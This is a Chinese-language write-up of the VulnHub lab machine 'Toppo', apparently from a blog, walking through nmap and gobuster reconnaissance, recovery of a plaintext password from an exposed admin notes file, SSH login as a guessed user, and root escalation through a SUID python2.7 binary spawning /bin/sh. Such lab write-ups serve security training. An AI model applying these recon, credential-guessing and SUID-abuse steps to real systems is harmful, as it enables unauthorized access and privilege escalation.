vulnhub(7):Toppo(经典的suid滥用提权)

端口

nmap主机发现
复制代码
nmap -sn 192.168.6.0/24
​
Nmap scan report for 192.168.6.34
Host is up (0.00020s latency).
​
34是新出现的机器,他就是靶机
nmap端口扫描
复制代码
nmap -Pn 192.168.6.34 -p- --min-rate 10000 -oA nmap/scan
扫描开放端口保存到 nmap/scan下
​
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
48230/tcp open  unknown
 
​
​
发现开放3个端口
复制代码
nmap -sT -sC -sV -O -p22,80,111 -oA nmap/scan 192.168.6.34详细端口扫描:
-sT:完整tcp连接
-sC:默认脚本扫描
-sV:服务版本探测
-O:系统信息探测
​
PORT      STATE SERVICE VERSION                                                                      │
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)                                 │
| ssh-hostkey:                                                                                       │
|   1024 ec61979f4dcb759959d4c1c4d43ed9dc (DSA)                                                      │
|   2048 8999c4549a1866f7cd8eabb6aa312ec6 (RSA)                                                      │
|   256 60bedd8f1ad7a3f3fe21cc2f11307b0d (ECDSA)                                                     │
|_  256 39d97926603d6ca21e8b1971c0e25e5f (ED25519)                                                   │
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))                                               │
|_http-server-header: Apache/2.4.10 (Debian)                                                         │
|_http-title: Clean Blog - Start Bootstrap Theme                                                     │
111/tcp   open  rpcbind 2-4 (RPC #100000)                                                            │
| rpcinfo:                                                                                           │
|   program version    port/proto  service                                                           │
|   100000  2,3,4        111/tcp   rpcbind                                                           │
|   100000  2,3,4        111/udp   rpcbind                                                           │
|   100000  3,4          111/tcp6  rpcbind                                                           │
|   100000  3,4          111/udp6  rpcbind                                                           │
|   100024  1          48230/tcp   status                                                            │
|   100024  1          49352/udp   status                                                            │
|   100024  1          52407/udp6  status                                                            │
|_  100024  1          56532/tcp6  status 
​
分析:
22端口开放
80端口http服务
111 rpcbind

立足

80端口
复制代码
一个博客网站,整个网站除了contact 界面,没有任何交互的地方,因此没有任何漏洞
​
尝试敏感信息收集
复制代码
gobuster dir -u http://192.168.100.34/ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html --add-slash 
​
/.php/                (Status: 403) [Size: 294]                                                      
/.html/               (Status: 403) [Size: 295]                                                      
/img/                 (Status: 200) [Size: 1775]                                                     
/icons/               (Status: 403) [Size: 295]                                                      
/mail/                (Status: 200) [Size: 948]                                                      
/admin/               (Status: 200) [Size: 937]                                                      
/css/                 (Status: 200) [Size: 1157]                                                     
/manual/              (Status: 200) [Size: 626]                                                      
/js/                  (Status: 200) [Size: 2045]                                                     
/vendor/              (Status: 200) [Size: 1343]
/.php/                (Status: 403) [Size: 294]                                                      
/.html/               (Status: 403) [Size: 295]                                                      
/server-status/       (Status: 403) [Size: 303]
​
分析:
mail和admin页面最有可能出现敏感信息,先看最敏感的

mail页面

复制代码
mail页面是个文件目录,下面只有一个php文件:
contact_me.php
​
wget http://192.168.100.34/mail/contact_me.php
发现contact_me.php文件没有php代码,只有一行字符串:No arguments Provided!

admin页面

复制代码
admin页面是个文件目录,下面只有一个txt页面:
notes.txt
​
打开发现这样信息:
Note to myself :
I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer .
​
从中我们获取密码12345ted123
获取密码后的思路
复制代码
获取密码后,首先要想到获取用户名
获取用户名之后要想到要与服务器有交互,但是我们之前说过整个80端口除了contact 界面就没有任何交互,contact是发送邮箱的界面,尝试扫描不存在漏洞,也没有密码的交互,只能排除
​
所以如果获取到用户名列表和密码列表,唯一的操作只能是ssh爆破,我们现在唯一的问题就是获取一个用户名列表,并与我们收集到的密码匹配
收集用户名
复制代码
靶机名称:Toppo
常用用户名:admin、root
从密码(12345ted123)中收集到的可能是用户的字符串:ted
尝试登陆ssh
复制代码
用户名不多,手动尝试即可,发现
用户:ted
密码:12345ted123
可以登录ssh

提权

信息枚举
复制代码
sudo -l:无此命令
cat /etc/passwd:没有新的信息
cat /etc/crontab:没有计划任务脚本
find / -type f -perm -u=s 2>/dev/null:
​
/sbin/mount.nfs
/usr/sbin/exim4
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/python2.7
/usr/bin/chsh
/usr/bin/at
/usr/bin/mawk
/usr/bin/chfn
/usr/bin/procmail
/usr/bin/passwd
/bin/su
/bin/umount
/bin/mount
​
*有一个可能是管理员设置的/usr/bin/procmail,还有一个非常敏感的/usr/bin/python2.7
​
/usr/bin/procmail 运行没有回显,不管他
/usr/bin/python2.7 是最有可能提权的,基本上板上钉钉了
suid滥用提权
复制代码
运行suid的程序时,这个程序的进程euid是创建者的用户id,且按照euid的权限执行进程代码,这意味着我们如果这个程序能调用/bin/sh,他的权限将会按照euid的身份新起一个拥有euid权限的会话shell
​
注:但是调用/bin/bash将不会提权,因为/bin/bash在启动后,首先判断euid和ruid是否相同,如果不相同,他会利用权限更低的ruid(如果ruid的权限比euid低),自动进行降权处理
​
ruid:真实用户ID表示发起该进程的用户。
euid:称为有效用户 ID,它表示系统用来确定进程权限的用户身份。
复制代码
使用bash,会被自动降权处理
python -c 'import os;os.system("/bin/bash")'
bash-4.3$ cd /root
/root: Permission denied
​
使用sh,按照euid进行
python -c 'import os;os.system("/bin/sh")'
直接拿到root的flag: 0wnedlab{p4ssi0n_c0me_with_pract1ce}
相关推荐
小陈phd几秒前
Vscode LinuxC++环境配置
linux·c++·vscode
是阿建吖!4 分钟前
【Linux】进程状态
linux·运维
hzyyyyyyyu18 分钟前
内网安全隧道搭建-ngrok-frp-nps-sapp
服务器·网络·安全
网络研究院21 分钟前
国土安全部发布关键基础设施安全人工智能框架
人工智能·安全·框架·关键基础设施
明明跟你说过33 分钟前
Linux中的【tcpdump】:深入介绍与实战使用
linux·运维·测试工具·tcpdump
刽子手发艺1 小时前
WebSocket详解、WebSocket入门案例
网络·websocket·网络协议
Komorebi.py2 小时前
【Linux】-学习笔记05
linux·笔记·学习
Daniel 大东2 小时前
BugJson因为json格式问题OOM怎么办
java·安全
Mr_Xuhhh2 小时前
重生之我在学环境变量
linux·运维·服务器·前端·chrome·算法